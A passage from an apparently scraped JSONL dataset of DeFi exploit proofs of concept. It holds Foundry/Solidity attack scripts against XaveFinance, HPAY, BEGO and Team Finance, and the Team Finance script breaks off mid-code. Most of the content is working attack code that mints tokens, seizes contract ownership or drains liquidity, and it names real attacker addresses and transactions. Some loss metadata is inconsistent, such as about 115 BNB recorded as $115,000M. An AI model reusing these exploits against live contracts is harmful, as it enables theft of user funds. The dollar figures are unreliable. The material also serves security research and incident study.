(0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx2 = DAO_MODULE.getTransactionHash(\n address(LPOP_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 2\n );\n\n // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx3 = DAO_MODULE.getTransactionHash(\n address(PRIMARY_BRIDGE),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 3\n );\n\n // the txIDs generated using getTransactionHash()\n bytes32[] memory txIDs = new bytes32[](4);\n txIDs[0] = tx0;\n txIDs[1] = tx1;\n txIDs[2] = tx2;\n txIDs[3] = tx3;\n\n DAO_MODULE.addProposal(\"2\", txIDs);\n string memory q = DAO_MODULE.buildQuestion(\"2\", txIDs);\n bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));\n REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);\n\n vm.warp(block.timestamp + 24 * 60 * 60);\n\n emit log_named_address(\"[Before proposal Execution] Owner of $RNBW: \", RNBW_TOKEN.owner());\n emit log_named_address(\"[Before proposal Execution] Owner of $LPOP: \", LPOP_TOKEN.owner());\n emit log_named_address(\"[Before proposal Execution] Owner of PrimaryBridge: \", PRIMARY_BRIDGE.owner());\n emit log_named_decimal_uint(\n \"[Before proposal Execution] Attacker's $RNBW Token Balance: \", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18\n );\n\n vm.startPrank(ATTACKER_CONTRACT);\n\n // Execute mint 100,000,000,000,000 RNBW tokens\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),\n //hex\"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000\",\n Enum.Operation(0),\n 0\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 1\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(LPOP_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 2\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(PRIMARY_BRIDGE),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 3\n );\n\n vm.stopPrank();\n\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_address(\"[After proposal Execution] Owner of $RNBW: \", RNBW_TOKEN.owner());\n emit log_named_address(\"[After proposal Execution] Owner of $LPOP: \", LPOP_TOKEN.owner());\n emit log_named_address(\"[After proposal Execution] Owner of PrimaryBridge: \", PRIMARY_BRIDGE.owner());\n emit log_named_decimal_uint(\n \"[After proposal Execution] Attacker's $RNBW Token Balance: \", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18\n );\n }\n}\n", "type": "exploit_poc", "protocol": "XaveFinance", "date": "2022-10", "file_name": "XaveFinance_exp.sol", "attack_vector": null, "content_hash": "c6162caebbbe41a7", "collected_at": "2026-01-07T10:59:16.517477", "_source": "postmortems", "chain": "ethereum", "block_number": 15704736, "total_lost_raw": "100,000,000,000,000 RNBW", "total_lost_usd": 100.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F", "attack_tx": "https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "100,000,000,000,000 RNBW", "category": "unknown", "exploit_code": "function testAttack() public {\n // tx to mint 100,000,000,000,000 RNBW tokens\n bytes32 tx0 = DAO_MODULE.getTransactionHash(\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),\n //hex\"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000\",\n Enum.Operation(0),\n 0\n );\n\n // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx1 = DAO_MODULE.getTransactionHash(\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 1\n );\n\n // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx2 = DAO_MODULE.getTransactionHash(\n address(LPOP_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 2\n );\n\n // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n bytes32 tx3 = DAO_MODULE.getTransactionHash(\n address(PRIMARY_BRIDGE),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 3\n );\n\n // the txIDs generated using getTransactionHash()\n bytes32[] memory txIDs = new bytes32[](4);\n txIDs[0] = tx0;\n txIDs[1] = tx1;\n txIDs[2] = tx2;\n txIDs[3] = tx3;\n\n DAO_MODULE.addProposal(\"2\", txIDs);\n string memory q = DAO_MODULE.buildQuestion(\"2\", txIDs);\n bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));\n REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);\n\n vm.warp(block.timestamp + 24 * 60 * 60);\n\n emit log_named_address(\"[Before proposal Execution] Owner of $RNBW: \", RNBW_TOKEN.owner());\n emit log_named_address(\"[Before proposal Execution] Owner of $LPOP: \", LPOP_TOKEN.owner());\n emit log_named_address(\"[Before proposal Execution] Owner of PrimaryBridge: \", PRIMARY_BRIDGE.owner());\n emit log_named_decimal_uint(\n \"[Before proposal Execution] Attacker's $RNBW Token Balance: \", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18\n );\n\n vm.startPrank(ATTACKER_CONTRACT);\n\n // Execute mint 100,000,000,000,000 RNBW tokens\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),\n //hex\"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000\",\n Enum.Operation(0),\n 0\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(RNBW_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 1\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(LPOP_TOKEN),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 2\n );\n\n // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)\n DAO_MODULE.executeProposalWithIndex(\n \"2\",\n txIDs,\n address(PRIMARY_BRIDGE),\n 0,\n encodeWithSignature_transferOwnership(ATTACKER_EOA),\n //hex\"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2\",\n Enum.Operation(0),\n 3\n );\n\n vm.stopPrank();\n\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_address(\"[After proposal Execution] Owner of $RNBW: \", RNBW_TOKEN.owner());\n emit log_named_address(\"[After proposal Execution] Owner of $LPOP: \", LPOP_TOKEN.owner());\n emit log_named_address(\"[After proposal Execution] Owner of PrimaryBridge: \", PRIMARY_BRIDGE.owner());\n emit log_named_decimal_uint(\n \"[After proposal Execution] Attacker's $RNBW Token Balance: \", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "100,000,000,000,000 RNBW", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$100", "content_richness_score": 9, "quality_estimate": "high", "title": "XaveFinance Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~115 BNB\n// Attacker : 0xaB74FBd735Cd2ED826b64e0F850a890930A91094\n// Attack Contracts :\n// - https://www.bscscan.com/address/0xe3eA6e35A6F88DB9d342352B056139803A94b586\n// - https://www.bscscan.com/address/0x10FC0476a67c84D8b8ddb143a0fE9eE207b71d2C\n// Vulnerable Contract : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30\n\n// Attack Txs : https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094\n\n// @Info\n// Vulnerable Contract Code : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30#code#F1#L174\n// This PoC is a simplification of the actual attack which was performed using multiple transactions.\n// They can be seen here: https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094\n// The attacker transferred out 105.98 BNB + 10 BNB from the hack.\n\n// @Analysis\n// ACai Article (in Chinese) : https://www.cnblogs.com/ACaiGarden/p/16872933.html\n\ninterface IMintableAutoCompundRelockBonus {\n function setToken(\n address\n ) external;\n function stake(\n uint256\n ) external;\n function withdraw(\n uint256\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 constant HPAY_TOKEN = IERC20(0xC75aa1Fa199EaC5adaBC832eA4522Cff6dFd521A);\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IMintableAutoCompundRelockBonus constant BONUS =\n IMintableAutoCompundRelockBonus(0xF8bC1434f3C5a7af0BE18c00C675F7B034a002F0);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 22_280_853);\n // Adding labels to improve stack traces' readability\n vm.label(address(HPAY_TOKEN), \"HPAY_TOKEN\");\n vm.label(address(WBNB_TOKEN), \"WBNB_TOKEN\");\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(address(BONUS), \"BONUS\");\n vm.label(0xE9bc03Ef08E991a99F1bd095a8590499931DcC30, \"BONUS_IMPL\");\n vm.label(0xa0A1E7571F938CC33daD497849F14A0c98B30FD0, \"WBNB_HPAY_PAIR\");\n vm.label(0xc16e351751e63A34F44908b065Fc8Be592D564dE, \"HPAY_RewardManager\");\n vm.label(0xf88daA7723f118EfB4416a0DfD129e005CA9166F, \"HPAY_RewardManager_Impl\");\n vm.label(0x45b10a3C39DE271D8edc23796970acF8832C20ff, \"HPAY_Fund\");\n vm.label(0x346abB57CfB43aD3Bb8210E3DD1dB12353160A0b, \"HPAY_FeeManager\");\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\n \"[Start] Attacker WBNB balance before exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n\n HPAY_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n // Shitcoin token creation\n SHITCOIN shitcoin = new SHITCOIN();\n shitcoin.mint(100_000_000 * 1e18);\n\n // Configuring shitcoin and staking it\n BONUS.setToken(address(shitcoin));\n shitcoin.approve(address(BONUS), type(uint256).max);\n BONUS.stake(shitcoin.balanceOf(address(this)));\n\n // Change block.number\n vm.roll(block.number + 1000);\n\n // Configure HPAY token back again\n BONUS.setToken(address(HPAY_TOKEN));\n\n // Withdraw reward token\n BONUS.withdraw(30_000_000 * 1e18);\n _HPAYToWBNB();\n\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all HPAY to WBNB\n */\n function _HPAYToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(HPAY_TOKEN);\n path[1] = address(WBNB_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HPAY_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n\ncontract SHITCOIN {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"SHIT COIN\";\n string public symbol = \"SHIT\";\n uint8 public decimals = 18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}\n", "type": "exploit_poc", "protocol": "HPAY", "date": "2022-10", "file_name": "HPAY_exp.sol", "attack_vector": null, "content_hash": "d71de3729f259359", "collected_at": "2026-01-07T10:59:16.517551", "_source": "postmortems", "chain": "bsc", "block_number": 22280853, "total_lost_raw": "~115 BNB", "total_lost_usd": 115000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~115 BNB", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~115 BNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$115000.00M", "content_richness_score": 5.78, "quality_estimate": "medium", "title": "HPAY Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~12 WBNB\n// Attacker : 0xde01f6Ce91E4F4bdB94BB934d30647d72182320F\n// Attack Contract : 0x08a525104Ea2A92aBbcE8e4e61C667eED56f3B42\n// Vulnerable Contract : 0xc342774492b54ce5F8ac662113ED702Fc1b34972\n// Attack Tx : https://bscscan.com/tx/0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/token/0xc342774492b54ce5f8ac662113ed702fc1b34972#code#L1257\n\n// @Analysis\n// Twitter alert by Ancilia : https://twitter.com/AnciliaInc/status/1582828751250784256\n// Twitter alert by Peckshield : https://twitter.com/peckshield/status/1582892058800685058\n\ninterface BEGO20 is IERC20 {\n function mint(uint256, string memory, address, bytes32[] memory, bytes32[] memory, uint8[] memory) external;\n}\n\ncontract ContractTest is Test {\n BEGO20 constant BEGO_TOKEN = BEGO20(0xc342774492b54ce5F8ac662113ED702Fc1b34972);\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 22_315_679);\n // Adding labels to improve stack traces' readability\n vm.label(address(WBNB_TOKEN), \"WBNB\");\n vm.label(address(BEGO_TOKEN), \"BEGO\");\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(0x88503F48e437a377f1aC2892cBB3a5b09949faDd, \"WBNB_BEGO_PAIR\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WBNB balance before exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n\n bytes32[] memory _r = new bytes32[](0);\n bytes32[] memory _s = new bytes32[](0);\n uint8[] memory _v = new uint8[](0);\n // Actual payload exploiting the vulnerability in the `mint()` function\n BEGO_TOKEN.mint(1_000_000_000_000 * 1e18, \"t\", address(this), _r, _s, _v);\n\n // Swap all minted BEGO to WBNB via PancakeSwap for profit dumping the price\n _BEGOToWBNB();\n\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all BEGO to WBNB\n */\n function _BEGOToWBNB() internal {\n BEGO_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BEGO_TOKEN);\n path[1] = address(WBNB_TOKEN);\n PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BEGO_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BEGO", "date": "2022-10", "file_name": "BEGO_exp.sol", "attack_vector": null, "content_hash": "f9e3d2bc09c65b24", "collected_at": "2026-01-07T10:59:16.517608", "_source": "postmortems", "chain": "bsc", "block_number": 22315679, "total_lost_raw": "~12 WBNB", "total_lost_usd": 12.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~12 WBNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WBNB balance before exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n\n bytes32[] memory _r = new bytes32[](0);\n bytes32[] memory _s = new bytes32[](0);\n uint8[] memory _v = new uint8[](0);\n // Actual payload exploiting the vulnerability in the `mint()` function\n BEGO_TOKEN.mint(1_000_000_000_000 * 1e18, \"t\", address(this), _r, _s, _v);\n\n // Swap all minted BEGO to WBNB via PancakeSwap for profit dumping the price\n _BEGOToWBNB();\n\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all BEGO to WBNB\n */", "has_exploit_code": true, "keyinfo_total_lost": "~12 WBNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$12", "content_richness_score": 6.41, "quality_estimate": "medium", "title": "BEGO Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": " // SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Multiple Tokens ~$15.8M US$\n// Root Cause : Lack of check function parameter legitimate\n// Attacker : 0x161cebb807ac181d5303a4ccec2fc580cc5899fd\n// Attack Contract : 0xcff07c4e6aa9e2fec04daaf5f41d1b10f3adadf4\n// Vulnerable Contract : https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L1535\n// Attack Tx : https://etherscan.io/tx/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce\n// Pre-work1: lockToken()\n// txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f\n// Pre-work2: extendLockDuration()\n// id 15324: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436\n// id 15325: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb\n// id 15326: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4\n// id 15327: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04\n//\n// @Analysis\n// Team Finance Official : https://twitter.com/TeamFinance_/status/1585770918873542656\n// PeckShield : https://twitter.com/peckshield/status/1585587858978623491\n// Solid Group : https://twitter.com/solid_group_1/status/1585643249305518083\n// Beiosin Alert : https://twitter.com/BeosinAlert/status/1585578499125178369\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\naddress constant LockToken = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;\n\n// Token address\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\naddress constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\naddress constant caw = 0xf3b9569F82B18aEf890De263B84189bd33EBe452;\naddress constant tsuka = 0xc5fB36dd2fb59d3B98dEfF88425a3F425Ee469eD;\naddress constant selfmadeToken = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;\n// Create at https://etherscan.io/tx/0xa3cbbdd2494f6d5452de8edc5c8c32f316abc40140a63769a22e04cd2549963b\n\n// Pair address\naddress constant FEG_WETH_UniV2Pair = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;\naddress constant USDC_CAW_UniV2Pair = 0x7a809081f991eCfe0aB2727C7E90D2Ad7c2E411E;\naddress constant USDC_TSUKA_UniV2Pair = 0x67CeA36eEB36Ace126A3Ca6E21405258130CF33C;\naddress constant KNDX_WETH_UniV2Pair = 0x9267C29e4f517cE9f6d603a15B50Aa47cE32278D;\n\ncontract Attacker is Test {\n address[4] victims = [FEG_WETH_UniV2Pair, USDC_CAW_UniV2Pair, USDC_TSUKA_UniV2Pair, KNDX_WETH_UniV2Pair];\n uint256[4] migrateId; // Will fill those from preWork()\n uint160 constant newPriceX96 = 79_210_883_607_084_793_911_461_085_816;\n // equal tick: -5,\n // equal price: 0.999563867\n // Can calculate it from: https://github.com/stakewithus/notes/blob/main/notebook/uniswap-v3/tick-and-sqrt-price-x-96.ipynb\n // And here: https://www.geogebra.org/solver?i=79210883607084793911461085816%3Dsqrt(x)*2%5E(96)\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_837_893);\n cheat.label(weth, \"WETH\");\n cheat.label(usdc, \"USDC\");\n cheat.label(dai, \"DAI\");\n cheat.label(caw, \"CAW\");\n cheat.label(tsuka, \"TSUKA\");\n cheat.label(FEG_WETH_UniV2Pair, \"FEG/WETH Pair\");\n cheat.label(USDC_CAW_UniV2Pair, \"USDC/CAW Pair\");\n cheat.label(USDC_TSUKA_UniV2Pair, \"USDC/TSUKA Pair\");\n cheat.label(KNDX_WETH_UniV2Pair, \"KNDX/WETH Pair\");\n preWorks();\n cheat.deal(address(this), 0); // set this balance is 0 to show effect\n }\n\n // function 0xe0cec5b0\n function preWorks() public payable {\n uint256 _unlockTime = block.timestamp + 5;\n\n // txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f\n // Lock 4000000000 selfmadeToken, return 4 new NFT ID\n for (uint256 i; i < 4; ++i) {\n uint256 nftId = ILockToken(LockToken).lockToken{value: 0.5 ether}(\n selfmadeToken, address(this), 1_000_000_000, _unlockTime, false\n );\n migrateId[i] = nftId;\n }\n\n // txId-1: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436\n // txId-2: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb\n // txId-3: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4\n // txId-4: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04\n ILockToken(LockToken).extendLockDuration(migrateId[0], _unlockTime + 40_000);\n ILockToken(LockToken).extendLockDuration(migrateId[1], _unlockTime + 40_000);\n ILockToken(LockToken).extendLockDuration(migrateId[2], _unlockTime + 40_000);\n ILockToken(LockToken).extendLockDuration(migrateId[3], _unlockTime + 40_000);\n }\n\n function testExploit() public {\n IV3Migrator.MigrateParams memory parms;\n uint256 _liquidityToMigrate;\n\n emit log_named_decimal_uint(\"[Before] Attack Contract ETH balance\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[Before] Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Before] Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[Before] Attack Contract TSUKA balance\", IERC20(tsuka).balanceOf(address(this)), 18\n );\n\n // The exploit code could be written like a for loop, but we keep it simple to let you could do some debugging here.\n // ==================== Migrate FEG_WETH_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(FEG_WETH_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: FEG_WETH_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1, // 1%\n token0: selfmadeToken,\n token1: weth,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[0], parms, true, newPriceX96, false);\n\n //console.log(\"\\t[DEBUG]After migrated FEG_WETH_UniV2Pair, Attack Contract ETH balance\", address(this).balance);\n\n // ==================== Migrate USDC_CAW_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(USDC_CAW_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: USDC_CAW_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: usdc,\n token1: caw,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[1], parms, true, newPriceX96, false);\n\n uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));\n\n if (usdc_bal > 0) {\n swapUsdcToDai();\n }\n\n //console.log(\"\\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)));\n //console.log(\"\\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)));\n\n // ==================== Migrate 